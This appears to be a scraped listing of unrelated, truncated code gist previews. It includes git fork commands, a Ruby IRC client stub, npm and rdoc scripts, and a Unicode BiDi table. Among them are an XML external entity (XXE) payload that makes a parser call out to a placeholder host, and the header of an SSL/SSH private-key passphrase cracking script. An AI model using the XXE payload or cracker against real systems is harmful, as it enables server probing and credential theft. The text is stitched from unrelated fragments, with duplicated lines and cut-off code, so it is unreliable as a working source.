git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
require "socket" | |
class IRC | |
def initialize(info) | |
@server = info[:server] | |
@port = info[:port] || 6667 | |
@password = info[:password] | |
@nick = info[:nick] | |
@channel = info[:channel] |
require 'bindata' | |
require 'benchmark' | |
require 'win32/registry' | |
require 'io/console' | |
class GGPK | |
class UTF16String < BinData::String | |
def snapshot | |
super.force_encoding('UTF-16LE') | |
end |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
require 'rdoc' | |
converter = RDoc::Markup::ToMarkdown.new | |
rdoc = File.read(ARGV[0] || 'README.rdoc') | |
puts converter.convert(rdoc) | |
# ruby rdoc2md.rb > README.md | |
# ruby rdoc2md.rb ABC.rdoc > abc.md |
#!/bin/sh | |
set -e | |
set -x | |
for package in $(npm -g outdated --parseable --depth=0 | cut -d: -f3) | |
do | |
npm -g install "$package" | |
done |
#!/bin/bash | |
################################################################################ | |
# ____ _ __ # | |
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # | |
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / # | |
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / # | |
# /___/ team # | |
# # | |
# ssl-crack.sh - wordlist-based encrypted SSL and SSH Private Key Passphase # | |
# Cracker # |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
#!/usr/bin/env python | |
"""Check the digests of pickles passed through a stream. | |
""" | |
#end_pymotw_header | |
import hashlib | |
import hmac | |
try: | |
import cPickle as pickle | |
except: |
This gist will show the support of BiDirectional text in the terminal emulators and console programs. You can read more about the standardization efforts at the dedicated page of FreeDesktop Terminal BiDi working group.
Logical Order | ◀ ◀ ◀ RTL | LTR ▶ ▶ ▶ |
---|---|---|
WHAT IS UNICODE؟ in arabic | in arabic ؟EDOCINU SI TAHW | ؟EDOCINU SI TAHW in arabic |
ما هو الترميز الموحد يونيكود؟ in Arabic | ما هو الترميز الموحد يونيكود؟ in Arabic |